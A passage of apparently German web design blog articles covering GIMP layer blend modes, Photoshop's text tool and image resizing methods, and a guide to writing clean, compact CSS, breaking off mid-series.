Wie Sie aus dem Namen schon herauslesen, wirkt sich der Modus Abwedeln in Regel aufhellend aus. Allerdings können auch Farben invertiert werden. Legen Sie hierbei beispielsweise zwei gleiche Bilder übereinander und hat das Bild einen grauen Schleier, verbessert der Modus Abwedeln diese Schatten im Bild. Allerdings entsteht hierbei auch schnell der Eindruck, dass das Bild, wenn es bereits sehr hell ist, überbelichtet ist. Deshalb sind Sie hier gut beraten, die Deckkraft ein wenig zu reduzieren.

Der Effekt lässt sich übrigens sehr gut bei einem Schwarzweißbild einsetzen. Das Bild kann hiermit noch mehr Brillanz erhalten. Schwarze und weiße Farbwerte bleiben hiervon allerdings unberührt.


Der Ebenenmodus Abwedeln


Im Bild links wurden beide Hydranten übereinandergelegt und mit dem Ebenenmodus Abwedeln verrechnet. Zum Vergleich das Ausgangsbild rechts.

Nachbelichten

Nachbelichten ist das Gegenstück zu Abwedeln und entspricht im Grunde auch dem Ebenenmodus Abwedeln, nur eben mit invertierten Werten. Somit trifft alles eben Beschriebene von Abwedeln auf Nachbelichten zu, nur dass es hier um das Abdunkeln statt um das Aufhellen geht.

Bei zwei übereinanderliegenden gleichen Bildern lassen sich damit die zu hellen Lichter abdunkeln. Allerdings muss auch hier oft mit Hilfe des Reglers Deckkraft feinjustiert werden, weil das Ergebnis, abhängig vom Bild, schnell unterbelichtet wirkt. Schwarze Pixel bleiben unverändert.


Der Ebenenmodus Nachbelichten


Im Bild links wurden beide Hydranten übereinandergelegt und mit dem Ebenenmodus Nachbelichten verrechnet. Die Deckkraft musste hier allerdings auf 50 % reduziert werden, sonst wäre das Endergebnis zu dunkel geworden. Zum Vergleich rechts das Ausgangsbild.

Harte Kanten

Der Modus Harte Kanten ist ideal, um zwei gleiche Bilder übereinanderzulegen und dabei die helleren Farben und scharfen Kanten zu erhalten. Als Ergebnis erhalten Sie ein Bild, das den Eindruck erweckt, es sei mit einem Licht angestrahlt oder mit einem Blitzlicht fotografiert worden.


Der Ebenenmodus Harte Kanten


Im linken Bild wurden beide Hydranten übereinander gelegt und mit dem Ebenenmodus Harte Kanten verrechnet. Damit der Effekt nicht zu heftig ausfällt, wurde die Deckkraft auf 60 % reduziert. Zum Vergleich das Ausgangsbild rechts.

Weiche Kanten

Der Modus Weiche Kanten entspricht in GIMP exakt dem Modus Überlagern. Er macht die Kanten im Bild etwas weicher und die Farben etwas sanfter. Abgesehen vom Namen hat dieser Modus allerdings nichts mit dem Modus Harte Kanten zu tun. F ilmkörnung Hierbei handelt es sich um die kleinsten Strukturen des entwickelten Films bei der analogen Fotografie, die erst nach einer starken Vergrößerung sichtbar werden.

Der Ebenenmodus Weiche Kanten

Faser extrahieren

Der Modus Faser extrahieren entfernt die Körnigkeit (Filmkörnung). In der Praxis ist dies beispielsweise sinnvoll, um eine neue Ebene zu erstellen, die nur aus dieser Struktur besteht, oder um Bildern ein plastisches Aussehen zu verleihen.


Der Modus Faser extrahieren


Im linken Bild wurde der Ebenenmodus Faser extrahieren auf die Originalebene angewandt. Darunter wurde eine weiße Ebene gelegt.

Faser mischen

Der Modus Faser mischen ist eine Umkehrung des Ebenenmodus Faser extrahieren. Hierbei wird erzeugte körnige Struktur mit der darunterliegenden Ebene überblendet.


Der Ebenenmodus Faser mischen

Unterschied

Der Modus Unterschied subtrahiert die über einanderliegenden Farbwerte und bildet einen absoluten Wert. Meistens erhält man ein Bild mit invertierten Farben. Der Modus eignet sich hervorragend, um zwei identische und aufeinanderliegende Ebenen (oder auch Bilder) auf Deckungsgleichheit zu prüfen. Decken sich beide Ebenen, ist das Ergebnis schwarz.


Der Ebenenmodus Unterschied


Auf beiden Seiten wurde der Ebenenmodus Unterschied verwendet, und es lagen jeweils zwei gleiche Ebenen übereinander. Links sind die beiden Ebenen absolut deckungsgleich, weshalb das Bild auch komplett schwarz ist. Rechts liegen die beiden Ebenen nicht deckungsgleich über einander, weshalb hier eine Art Dopplungseffekt wie bei einem 3D-Bild entsteht.

Addition

Mit dem Ebenenmodus Addition werden die Pixelwerte beider Ebenen addiert. Das Ergebnis ist ein helleres Bild. Einige Stellen werden hierbei nur noch weiß sein.


Der Ebenenmodus Addition


Links wurden zwei gleiche Ebenen mit dem Ebenenmodus Addition übereinandergelegt. Das Basisbild rechts dient zum Vergleich.

Abziehen

Bei dem Ebenenmodus Abziehen (der ehemals »Subtraktion« hieß) handelt es sich um das Gegenstück von Addition. Hierbei werden die Pixelwerte der oberen Ebene von den Werten der unteren Ebene abgezogen. Als Ergebnis erhalten Sie ein dunkleres Bild. Bei negativen Werten wird das Ergebnis auf 0 (also Schwarz) begrenzt. Bei zwei gleichen Bildern, die übereinanderliegen, können Sie auch hier, wie schon beim Ebenenmodus Unterschied, die Deckungsgleichheit prüfen.


Der Ebenenmodus Abziehen (ehemals »Subtraktion«)

Nur Abdunkeln

Der Modus Nur Abdunkeln vergleicht die Pixel der oberen und unteren Ebene miteinander und verwendet als Ergebnis immer den kleineren Wert. Schwarze Pixel ergeben somit auch einen schwarzen Bereich im Endbild. Weiße Pixel hingegen ändern nichts am Ergebnis.


Der Ebenenmodus Nur Abdunkeln

Nur Aufhellen

Nur Aufhellen ist das Gegenstück zum Ebenenmodus Nur Abdunkeln. Hierbei werden ebenfalls die einzelnen Pixel der oberen und unteren Ebene miteinander verglichen. Das Ergebnis ist hier der größere der beiden Werte. Weiße Pixel ergeben somit auch einen weißen Bereich im Endbild. Schwarze Pixel hingegen ändern nichts am Ergebnis.


Der Ebenenmodus Nur Aufhellen

Farbton

Beim Modus Farbton wird der Farbton der oberen Ebene mit der Helligkeit und Sättigung der unteren Ebenen vermischt.


Der Ebenenmodus Farbton

Sättigung

Im Modus Sättigung wird die Sättigung der oberen Ebene mit dem Farbton und der Helligkeit der unteren Ebene vermischt und als Ergebnis wiedergegeben.


Der Ebenenmodus Sättigung

Farbe

Als Ergebnis des Ebenenmodus Farbe erhalten Sie eine Mischung aus der Luminanz (Helligkeit) der unteren Ebene und der Sättigung der oberen Ebene.


Der Ebenenmodus Farbe

Wert

Wert ist das Gegenstück zum Modus Farbe. Das Ergebnis ist eine Mischung aus der Helligkeit der oberen Ebene und der Sättigung der unteren Ebene.

Der Ebenenmodus Wert

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop

Photoshop & Typografie – das Textwerkzeug professionell einsetzen (1)

Thomas Giannatasio

Typografie kann Gefühle auslösen und Eindrücke formen, die stärker sind als die Worte, deren Inhalt sie darstelt. Selbst schlechte Typografie kann äußerst mächtig sein. Wir haben uns auf Webseiten mit hellrotem Text und einem noch helleren blauen Hintergrund damit gequält, die Sätze zu entziffern. Solche Erlebnisse minimieren ein gutes Anwendererlebnis und sie können das Image einer Marke nachhaltig beschädigen.

Bei der Typografie fürs Webdesign sind besondere Aspekte zu beachten, zudem ist das Web sehr schnelllebig – Trends wechseln hier rascher als beim Printdesign. Während die Mehrheit der Schrifttypen im Web durch HTML gerendert wird, ist Photoshop nach wie vor notwendig, um Bearbeitung jenseits des Zugriffs von CSS zu handhaben. In diesem Kapitel werden wir die Textwerkzeuge von Photoshop erkunden und Wege entdecken, um die typografischen Fähigkeiten der Software zu maximieren.

Anatomie des Textwerkzeugs

Das Textwerkzeug von Photoshop ist ziemlich direkt. Klicken Sie in das Dokument und Sie können eine Textebene hinzufügen, die als Punkttextebene bezeichnet wird. Klicken und Ziehen erstellt eine Absatztextebene. Sie können sogar auf oder in einen Pfad klicken, um einen Textpfad zu erstellen. Diese Anwendungen sind sehr ähnlich, weisen jedoch einige wichtige Unterschiede auf.


Die drei Hauptanwendungen des Textwerkzeugs

Punkttext

Punkttextebenen legen einen einzelnen Punkt fest, von dem aus die erste Grundlinie des Texts gesetzt wird. Der Text fließt von diesem Punkt aus in Richtung Unendlichkeit, bis manuelle Zeilenumbrüche eingegeben werden. Das schränkt einige der Absatzoptionen ein, macht jedoch diese Art von Ebene großartig geeignet für das Erstellen von Text für Buttons und Überschriften (das heißt: Text mit wenigen Buchstaben). Tatsächlich macht die offene Natur einer Punkttextebene die Verwendung unter diesen Umständen viel leichter. Das Herumfummeln mit der Größe einer Absatztextebene, um den Text auf einem Button zu ändern, kann zu einer wirklichen Schikane werden.

Absatztext

Indem man einen festgelegten Bereich einstellt, in dem der Text fließt, lässt Absatztext weiterführende Einstellungen wie Wortumbruch und hängende Interpunktion zu. Diese weiterführenden Absatzoptionen sind unerlässlich, wenn größere Textblöcke gesetzt werden.

Textpfade

Es gibt zwei Wege, auf denen Pfade mit dem Textwerkzeug verwendet werden können: Indem eine Grundlinie oder eine angepasste Textboxform erstellt wird. Wählen Sie den Arbeitspfad aus, den Sie verwenden möchten und fahren Sie mit dem Textwerkzeug über den Pfad. Das gepunktete Quadrat auf dem Cursor ändert sich von einem Quadrat in eine gebogene Linie. Klicken Sie auf den Pfad und Sie werden sehen, dass der Text genau am Pfad entlang fließt.

Nach dem Zuweisen des Texts (Befehl/Steuerung + Eingabe) können Sie das Pfadauswahlwerkzeug verwenden, um die Anfangs- und Endpunkte zu bewegen – entsprechend angezeigt durch ein „x“ und einen schwarzen Kreis – oder den Text von der Oberseite der Linie zur Unterseite drehen. Wenn Sie einen geschlossenen Pfad verwenden, können Sie in das Innere klicken, um eine benutzerdefiniert geformte Textbox zu generieren.

Randbemerkung: Text verkrümmen

Verkrümmter Text erinnert an Microsofts WordArt, weil es Ihnen erlaubt, Text auf alle möglichen spaßigen Arten zu biegen, zu wölben und zu verdrehen. Ich empfehle, diese Optionen zu vermeiden, denn sie lassen Ihren Text alles andere als professionell wirken. Nichtsdestotrotz können Sie auf den Dialog für das Verkrümmen von Text in der Eigenschaftsleiste des Textwerkzeugs zugreifen. Wählen Sie aus einer Anzahl von verschiedenen Stilen aus und stellen Sie den Grad von Krümmung und Verzerrung ein. Und wieder, auch wenn Sie nur Text um eine einfache Form biegen möchten, stehen Sie mit einem Textpfad besser da.

Zeichenpalette

Die Zeichenpalette ist so etwas wie ein Wolf im Schafspelz. Sie bietet alles, was Sie brauchen, um das Erscheinungsbild einer Schrift richtig zu ändern, sie hat jedoch auch Optionen (nämlich die rot umrandeten in der folgenden Abbildung), die niemals in einer Software für kreative Profis auftauchen sollten. Zu verstehen, wie diese Palette zu verwenden ist und wie nicht, ist extrem wichtig für das Setzen von Text.

Auf die rot umrandeten Optionen sollten Sie bei der Arbeit mit dem Textwerkzeug verzichten.

Was es mit den Auswahlmenüs und Optionen der Zeichenpalette auf sich hat, erläutern die folgenden Abschnitte ausführlich.

Schrift

Jeder, der schon einmal ein Textverarbeitungsprogramm verwendet hat, sollte mit den ersten paar Optionen in dieser Palette ziemlich vertraut sein. Zuallererst kommt die Schriftfamilie, die, wenn Sie ausgeklappt wird, eine Liste aller im System verfügbaren Schriften anzeigt.

Optische Unterschneidung beziehungsweise Kerning setzt den Abstand zwischen den Buchstabenformen auf intelligente Weise, was man normalerweise dem Einstellen der Unterschneidung auf O oder der Verwendung der metrischen Unterschneidung vorzieht.

Wenn Sie eine Schriftart ausgewählt haben, zeigt das danebenliegende Aufklappmenü eine Liste mit allen Schriftschnitten an. Das kann kursive Varianten, Überschriften, verschiedene Schriftstärken, Glyphensätze, erweiterte und komprimierte Versionen und mehr beinhalten.


Das Aufklappmenü für die Schriftarten gibt Ihnen, abhängig von der Schriftfamilie, Zugang zu vielen Stilen.

Größe und Abstand

Direkt unter den Aufklappmenüs für die Schrift gibt es vier Einstellungen für die Steuerung der Größe und des Abstands des Texts. Die erste Einstellung ist der Schriftgrad, eingestellt in Punkt, was sich stark von Pixel unterscheidet. Daneben liegt der Zeilenabstand, der den Abstand zwischen den Grundlinien festlegt, ebenfalls in Punkt.

Als Drittes haben wir Unterschneidung (Kerning), womit Sie den Abstand zwischen zwei Zeichen steuern. Um zwei Zeichen zu unterschneiden, platzieren Sie den Cursor dazwischen und verändern den Unterschneidungswert, um die Zeichen enger zueinander oder weiter voneinander entfernt zu positionieren. Wenn Sie mehrere Zeichen oder einfach den ganzen Textblock auswählen, können Sie die automatische Unterschneidung entweder auf metrisch oder auf optisch einstellen. Die metrische Unterschneidung ermittelt den absoluten Zwischenraum zwischen den Zeichen ohne Berücksichtigung der individuellen Zeichenformen.

Optische Unterschneidung berücksichtigt, wie die Zeichen tatsächlich aussehen – so wird der Großbuchstabe „V“ enger unterschnitten als der Kleinbuchstabe „g“. letzte Option in diesem Set ist die Laufweite. Wie die Unterschneidung steuert die Laufweite den Abstand zwischen den Zeichen, hier jedoch für mehrere Zeichen. Das sollte für das Spationieren eines ganzen Textblocks verwendet werden und nicht für einzelne Zeichen.

Die Farbe, Grundlinienversatz und Dehnen

Der nächste Satz enthält zwei nützliche und zwei absurde Optionen. Wir werden mit den Optionen, die Sie tatsächlich verwenden sollten, beginnen. Die Option Farbe erlaubt es Ihnen, die Farbe des ausgewählten Texts festzulegen. Links davon befindet sich der Grundlinienversatz, der die Zeichen über oder unter die Grundlinie versetzt. Die anderen zwei Optionen erlauben es Ihnen, den Text zu dehnen oder ihn höher oder breiter zu machen. Im Regelfall vermeiden Sie diese zwei Optionen. Gedehnte Texte sehen einfach nur schlecht aus.

Faux und Varianten

Unter dem Deckmantel der Einfachheit hat Adobe eine Reihe von Symbolen hinzugefügt, die Ihnen Schnellzugriff auf allgemeine Schriftsatzfunktionen bieten. Ein paar davon sind ziemlich hilfreich, aber die meisten versuchen, neue Zeichen für Sie zu erfinden. Die Option Großbuchstaben ist die sicherste im Bunde, sie ersetzt einfach alle Kleinbuchstaben durch ihre Gegenstücke in Großbuchstaben. Die Optionen Unterstreichen und Durchstreichen sind auch ziemlich sicher, obwohl Sie bessere Ergebnisse erzielen können, wenn Sie die Linie als eine separate Formebene zeichnen und so das Durchschneiden der Unterlängen vermeiden.

Die verbleibenden Optionen sind diejenigen, die jeder, der Typographie ernst nimmt, vermeiden sollte. Diese Missetäter sind Faux Fett, Faux Kursiv, Hochgestellt, Tiefgestellt und Kapitälchen. Indem Sie voreingestellte Berechnungen über den Text laufen lassen, blähen, verdrehen und skalieren diese Optionen Ihre Typen, um eine andere Schriftvariante zu simulieren. Diese imitierten Varianten sehen seltsam aus und können leicht ausgemacht werden, insbesondere Kapitälchen, bei denen einfach die Punktgröße der Zeichen verändert wird und Sie mit merklich unterschiedlichen Schriftstärken dastehen.


Faux Kursiv verwendet der Einfachheit halber schlechtere Buchstabenformen. Bleiben Sie für bessere Typographie bei den echten Kursivschriften.

Die Optionen Hochgestellt und Tiefgestellt funktionieren genauso. Wenn das auch irgendwie klar ist, die hoch- und tiefgestellten Zeichen sind normalerweise in den Schriftsätzen enthalten.

Tipp: Ich empfehle die Glyphenpalette von Illustrator, um den trügerischen Zeichen den Garaus zu machen. Wenn Sie fett, kursiv oder Kapitälchen benötigen, sehen Sie im Aufklappmenü der Schriftvarianten nach. Wenn es eine solche Variante nicht gibt, sehen Sie in der Schriftform nach, ob sie verfügbar ist. Gibt es keine entsprechende Variante, fahren Sie wahrscheinlich am Besten, wenn Sie eine andere Schrift auswählen.

Das lesen Sie im nächsten Teil:
  • Anti-Aliasing und Zusatzoptionen (Zeichenpalette)
  • Arbeiten mit der Absatzpalette
  • Tastaturkürzel für Befehle und Sonderzeichen
  • Tipps und Tricks
(mm), ™,
Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop

Fotos fürs Web aufbereiten (1) – Bildgröße per Photoshop anpassen

Thomas Giannatasio (Übersetzung Manuela Müller)

Bilder sind wirkungsvolle Kommunikationsmittel. Mit einem guten Foto ziehen Sie die Aufmerksamkeit von Anwendern viel stärker in den Bann als mit Text oder Icons. Natürlich müssen Bild und Text zusammen passen – für die Auswahl geeigneter Fotos sollten Sie gebührende Zeit einplanen. Ebenso für die Aufbereitung des Bildmaterials, das Kunden häufig in viel zu hohen Auflösungen und Dateigrößen anliefern. Teil 1 dieser Artikelserie zur Aufbereitung von Fotos fürs Web erläutert, wie Sie mithilfe von Photoshop Bildgrößen umrechnen und interpolieren.

Bildgröße ändern – Grundsätzliches

Das Anpassen der Bildgröße gehört zu den häufigsten Aufgaben in der Bildbearbeitung. Der Idealfall sähe natürlich so aus, dass Sie wunderschöne, hochauflösende Fotos haben, die Sie nur noch skalieren müssen. Auch wenn das wohl meistens nicht der Fall ist, sollten Sie möglichst Fotos mit der zweifachen Größe des späteren Ausgabeformats verwenden. Das bietet Ihnen einen komfortablen Puffer und gewährleistet, dass die endgültige Version von höchster Qualität ist. Vermeiden Sie es unbedingt, Fotos größer zu rechnen – auch wenn es manchmal nicht anders geht.

Ob Sie Bilder kleiner oder größer rechnen – ein grundlegendes Verständnis, wie Photoshop Pixelwerte definiert, ist in jedem Fall hilfreich. Das Berechnen der Pixelwerte beim Skalieren wird als Interpolation bezeichnet. Je nach Methode werden die vorhandenen Pixelwerte analysiert und auf dieser Basis die neuen Werte ermittelt.

Einfaches Beispiel: Aus je einem schwarzen und weißen, nebeneinanderliegenden Pixeln wird ein neues graues Pixel erstellt. Sehr stark vereinfacht ist das die Methode, wie Interpolationsalgorithmen Werte bestimmen.

Photoshops Interpolationsverfahren

Photoshop bietet fünf verschiedene Interpolationsverfahren, jeweils für einen anderen Typ der Größenänderung. In den folgenden Abschnitten werden die Verfahren und ihr Einsatzzweck erläutert. Sie können das Interpolationsverfahren auf zwei verschiedenen Wegen auswählen:

  • Über die Voreinstellungen im Register Allgemein (zu erreichen über das Tastaturkürzel Strg / Befehlstaste + K). Wenn Sie die Funktion Frei Transformieren im Menü Bearbeiten benutzen, wird das jeweils voreingestellte Interpolationsverfahren angewandt.
  • Im Dialog Bildgröße können Sie im Auswahlmenü Interpolationsverfahren (heißt in älteren Versionen Bild neu berechnen mit:) das gewünschte Verfahren auswählen.

Pixelwiederholung

Dieses Verfahren eignet sich hervorragend, wenn Sie harte Kanten beibehalten wollen und ist daher sehr gut für rechteckige Formen, die am Pixelraster ausgerichtet sind, geeignet. Beim Berechnen eines Pixelwerts, bestimmt dieses Verfahren zunächst einen mittleren Farbwert – basierend auf den umliegenden Pixeln – und vererbt dem zu berechnenden Pixel dann den exakten Wert des benachbarten Pixels, das diesem Mittelwert am nächsten kommt. Aus diesem Grund werden niemals neue Werte verwendet.


Pixelwiederholung kann zum Vergrößern von Screenshots eingesetzt werden, ohne dass die Pixel verschwommen erscheinen.

Wenn Sie das Foto um 200 Prozent skalieren würden, könnten Sie feststellen, dass im Prinzip jedes Pixel in der Größe verdoppelt wird (das heißt, jedes Pixel ist nun vier Pixel). Das kann beim Vergrößern von Screenshots hilfreich sein, um harte Kanten zu erhalten und Anti-Aliasing zu vermeiden.

Bilinear

Bilineare Interpolation verwendet ebenfalls umgebende Pixel und zwar die vier, die dem Musterbildpunkt am nächsten liegen, um daraus einen Mittelwert zu bestimmen. Das Verfahren liefert in der Regel angemessene Ergebnisse, wird jedoch meist von einem der folgenden bikubischen Verfahren übertroffen.

Bikubisch

Dieses Verfahren ist die Standardeinstellung von Photoshop und am besten für glatte Verläufe geeignet. Es liefert in den meisten Anwendungsfällen sehr gute Ergebnisse. Vor allem für Fotos ist es gut geeignet, da es mehr verschiedene Bildpunkte in die Neuberechnung einbezieht als die übrigen Verfahren.

Bikubisch glatter

Ideal für Vergrößerungen. Bikubisch glatter verwendet einen ähnlichen Algorithmus wie Bikubisch, aber es ist stärker aufs Mischen ausgerichtet und liefert daher glattere Ergebnisse und weniger Kontraste entlang von Konturen. Beim Verkleinern kann dies zu leichter Unschärfe führen. Vergrößerungen profitieren dagegen von der Methode, da so genannte Treppenstufen reduziert werden.

Bikubisch schärfer

Ideal für Verkleinerungen. Anders als Bikubisch glatter, bei dem Kontraste entlang von Kanten verrringert werden, werden Konturen durch Bikubisch schärfer überzeichnet. Das führt zu mehr Konturenschärfe – sprich die wahrgenommene Schärfe eines Bildes, basierend auf dem Kontrast seiner Kanten.

Detail eines um 200 Prozent verkleinerten Fotos mit verschiedenen Verfahren: 1. Bilinear, 2. Bikubisch, 3. Bikubisch glatter, 4. Bikubisch schärfer

Treppenstufen-Interpolation (Anti-Aliasing)

Anti-Aliasing ist eine verbreitete Technik beim Verändern der Bildgröße, vor allem beim Vergrößern. Durch inkrementelles Skalieren und Interpolieren eines Bildes bis zur gewünschten Ausgabegröße, lässt sich in manchen Fällen mehr Schärfe erreichen und Details erhalten. Experimentieren Sie mit verschiedenen Schritten, wobei 10 Prozent der gebräuchlichste Wert für dieses Verfahren ist. Ihre Ergebnisse werden je nach Foto und verwendeter Interpolationsmethode variieren. Bei diesem Verfahren hilft nur Ausprobieren.

In Teil 2 lesen Sie:

Größenänderung und Interpolation von Smart Objects

Kategorien
Design HTML/CSS

Wenn Code schlecht wird, Teil 2 – valides CSS schreiben

Chris Heilmann (Übersetzung Manuela Müller)

Als Webentwickler verwenden Sie wesentlich mehr Zeit darauf, den Code anderer Leute aufzuräumen oder sich mit den Folgen unglücklicher Designs herumzuschlagen, anstatt selbst zu programmieren und das Leben der Anwender leichter zu machen. Wie Sie vermeiden, dass andere Leute sich später über Ihren Code ärgern, ist Thema dieser Artikelserie – Teil 2 legt den Fokus auf CSS.

CSS

Manche Menschen haben einen komischen Umgang mit CSS. Jahrelang haben wir uns über fehlende oder sporadische Browser-Unterstützung für CSS beklagt. Zudem gab es wenig Unterstützung von anderen Entwicklern, da viele CSS als nicht einsetzbar links liegen ließen und sich heute noch immer nach dem Komfort „leicht anwendbarer Layout-Tabellen“ zurück sehnen. CSS hat es dennoch geschafft und das ist gut so, da CSS Aussehen und Dokumentenstruktur trennt, so dass auf der kompletten Website mit tausenden von Dokumenten bestimmte Einstellungen schnell und bequem geändert werden können.

CSS ist recht einfach zu erlernen – die Syntax ist geradezu lächerlich simpel. Trotzdem können manche Leute einfach nicht begreifen, dass CSS dazu gedacht ist, andere Webtechnologien zu ergänzen – ein Ersatz ist es nicht.

Eine Reihe „reiner CSS-Lösungen“ ist unter bestimmten Gesichtspunkten unbefriedigend – etwa der Zugang über die Tastatur, Zugang per Touchscreen (ich kann zum Beispiel kein Hover-Menü auf meinem Smartphone verwenden) sowie die allgemeine Kontrolle Ihrer Aktionen. CSS ist eine Art Einzelanfertigung. Sie wenden es an und hoffen, dass alles gut geht. Mit JavaScript können Sie wirklich testen, ob alles so gerendert wird, wie Sie sich das gedacht haben. Zudem können Sie prüfen, ob es genug Platz für einen bestimmten Effekt gibt, bevor Sie diesen einsetzen. CSS geht mit media queries und den CSS3-Eigenschaften animation und transform in eine ähnliche Richtung. Letztendlich ist das jedoch ein Versuch, JavaScript zu simulieren. Indem Sie eine gute JavaScript-Bibliothek und ein wenig CSS verwenden, können Sie all diese Effekte schon jetzt browserübergreifend erreichen.

Ursachen und mögliche Lösungen

Wenn CSS-Code „schlecht“ wird, lässt sich das in der Regel auf diese Punkte zurückführen:

  • Browser-Standardeinstellungen sind erlaubt
  • Die Syntax ist übermäßig verschachtelt
  • CSS wird ohne vorherige Analyse zugefügt
  • Der Code ist zu spezifisch
  • Verwendung Browser-spezifischer Hacks und -technologien

Schauen wir uns das wiederum im Einzelnen an.

Erlauben von Browser-Standardeinstellungen

Seiten ohne Stilvorlagen gibt es nicht, da Browser vordefinierte Stile haben, nach denen ein HTML-Dokument dargestellt wird. Das Problem daran: Jeder Browser hat andere Stilvorgaben. Wenn Sie ein bestimmtes Aussehen und Verhalten erreichen wollen, sind Sie gezwungen, alle möglichen Einstellungen zu überschreiben, die vom Browser automatisch voreingestellt wurden.

Um dieses Problem zu umgehen, verwenden Sie am besten eine CSS-Reset-Datei oder – um es ganz einfach zu machen – eine einzige Codezeile:

*{margin:0;padding:0}

Damit überschreiben Sie sämtliche Vorgaben für Rand und Padding, die der Browser auf Elemente anwendet. Wenn Sie etwas Raffinierteres benötigen, können Sie mit einem Reset-Stylesheet arbeiten, zum Beispiel mit diesem hier: Yahoo User Interface CSS Reset. Sie können sogar sämtliche Browser-Vorgaben für Schriftgrößen aushebeln, indem Sie die Datei fonts.css verwenden.

Mit einem CSS-Reset können Sie nicht nur die Standardeinstellungen des Browsers los werden. Es bedeutet, dass Sie wirklich mit einem „unbeschriebenen Blatt“ starten und Ihr eigenes Aussehen definieren können, ohne dass Sie Margin oder Padding einstellen müssen, wo es gar nicht nötig ist.

Die Syntax ist übermäßig verschachtelt

CSS hat ganz hervorragende Kurznotationen, mit denen Sie Ihren Code schlank und einfach halten können.  Es hat zudem den angenehmen Nebeneffekt, dass man nicht nach bestimmten Einstellungen fahnden muss. Wenn Sie also eine bestimmte Eigenschaft für Ihr Design festlegen, tun Sie das gebündelt, an einem Ort, anstatt den Code aufzusplitten – etwa so zum Beispiel:

#pagetitle{
 color:black;
  text-align:left;
  border-top-width:2px;
  border-top-color:black;
  padding-left:2em;
  border-right-color:white;
  border-left-width:2px;
  border-top-style:solid;
  border-left-color:black;
  border-bottom-width:2px;
  line-height:1.3em;
  position:absolute;
  border-right-style:solid;
  right:0;
  padding-right:2em;
  padding-bottom:1em;
  width:30em;
  border-bottom-style:solid;
  border-bottom-color:white;
  top:10em;
  border-left-style:solid;
  padding-top:1em;
  height:3em;
  border-right-width:2px;
}

Einen Code wie diesen zu pflegen kann ganz schön mühsam sein – Einstellungen für border sind überall verstreut. Zudem ist der Code unnötig aufgebläht. Das Gleiche gilt für die Positionierung und Abmessungen der Box. Wenn Sie die Eigenschaften logisch ordnen und die Kurznotation verwenden, können Sie den Code erheblich vereinfachen. In diesem Fall gilt die Grundregel, eine einheitliche Voreinstellung festzulegen und nur dort, wo es Abweichungen davon gibt, die Voreinstellung zu überschreiben – nämlich so:

#pagetitle{
  color:black;
  text-align:left;
  line-height:1.3em;

  border:2px solid white;
  border-color:black white white black;

  padding:1em 2em;
  position:absolute;
  top:10em;
  right:0;
  width:30em;
  height:3em;
}

Auf diese Weise haben wir einen durchgezogenen, weißen Rand für die gesamte Box eingestellt und anschließend nochmals die Farben für den Rand für die einzelnen Seiten festgelegt – denn das ist das Einzige, was sich ändert. Die Farben werden im Uhrzeigersinn, angefangen von oben definiert – sprich: top, right bottom, left. Das Gleiche gilt fürs Padding: Wenn Sie jeweils dieselben Werte für links und rechts beziehungsweise oben und unten haben, können Sie das abkürzen mit je einer Angeabe für left / right und top / bottom. Wenn Sie dann noch die Einstellungen nach Schriftart, Rand, Position und Abmessungen ordnen, machen Sie es Dritten und sich selbst einfach, sich in Ihrem Code zurecht zu finden, wenn Sie später etwas ändern müssen.

Das können Sie übrigens auch erreichen, indem Sie gemeinsame Denominatoren festlegen und diese aus den spezifischen Selektoren auslagern, um beispielsweise die gemeinsamen Einstellungen aller Überschriften zusammen zu fassen. Hier ein Beispiel, wie man es nicht machen sollte:

h1{
  font-family:helvetica,arial,"lucida sans",sans-serif;
  color:#000;
  margin:.5em 0;
  padding:1em;
  font-size:150%;
  background:#ccc;
}
h2{
  font-family:helvetica,arial,"lucida sans",sans-serif;
  color:#000;
  font-size:120%;
  margin:.5em 0;
  padding:1em;
  background:#999;
}
h3{
  font-family:helvetica,arial,"lucida sans",sans-serif;
  color:#000;
  margin:.5em 0;
  font-size:110%;
  padding:1em;
  background:#666;
}
h4{
  font-family:helvetica,arial,"lucida sans",sans-serif;
  color:#000;
  margin:.5em 0;
  font-size:105%;
  padding:0;
}

Im obigen Beispiel sind viele Angaben redundant. Legen Sie am Anfang einmal das fest, was für alle Elemente gleich ist und notieren Sie danach nur noch die Abweichungen:

h1,h2,h3,h4,h5,h6{
  font-family:helvetica,arial,"lucida sans",sans-serif;
  color:#000;
  margin:.5em 0;
  padding:1em;
}
h1{
  font-size:150%;
  background:#ccc;
}
h2{
  font-size:120%;
  background:#999;
}
h3{
  font-size:110%;
  background:#666;
}
h4{
  font-size:105%;
  padding:0;
  background:transparent;
}

So können Sie die grundlegenden Einstellungen für alle Überschriften an einem Ort ändern. Beachten Sie, dass die Standardeinstellung für h4 überschrieben werden muss, da h4 weder einen Hintergrund noch Padding hat.

Wenn Sie Ihr CSS analysieren, finden Sie zahlreiche Möglichkeiten, es zu verkürzen und damit pflegeleichter zu machen.

CSS ohne vorherige Analyse hinzufügen

Sperriger und schwer zu pflegender CSS-Code entsteht vor allem dadurch, dass viele Autoren es an vorhergehender Analyse fehlen lassen. Anstatt den Code durchzusehen und an einer geeigneten Stelle eine Definition durch eine Änderung zu überschreiben, wird einfach zusätzlicher Code am Ende des Stylesheets eingefügt. So finden Sie am Ende von Stylesheets zum Beispiel häufig Angabe wie diese:

#main #content .entry p span{color:#999;}
#nav ul li.entry a.sitelink span.current{font-family:arial;}

Es kann sehr entmutigend sein, eine CSS-Datei für die erforderliche nach dieser einen Einstellung zu durchsuchen und anschließend zu prüfen, was passiert, wenn Sie die Einstellung ändern. Je komplexer und voluminöser eine Website ist, desto abschreckender erscheint die Aufgabe. Es könnte sein, dass Sie einen scheinbar redundanten Selektor finden und löschen, nur um dann festzustellen, dass er an einer anderen Stelle durchaus eine tragende Rolle spielte.

Wenn Sie neue Browser Debugging Tools wie Firebug oder Webentwicklungs-Tools verwenden, können Sie jedoch die Stilvorgaben bestimmter Elemente einer Seite und woher die darauf angewandten Stile kommen, so dass Sie die entsprechenden Angaben an der Quelle ändern können. Darüber hinaus gibt es Tools, mit denen Sie verwaiste CSS-Einstellungen, die gelöscht werden sollten, aufspüren können. Es kann natürlich sein, dass Sie unsicher über die Bedeutung und den Zusammenhang dieser Einstellungen sind, so dass Sie lieber einen sehr spezifischen Selektor einfügen, um das Problem zu lösen. Wenn Sie mit mehreren Personen den Code pflegen, lösen Sie mit diesem Vorgehen jedoch ein Rennen aus, das Sie nicht gewinnen können. Und zu allem Übel blasen Sie Ihren Code unnötig auf.

Der Code ist zu spezifisch

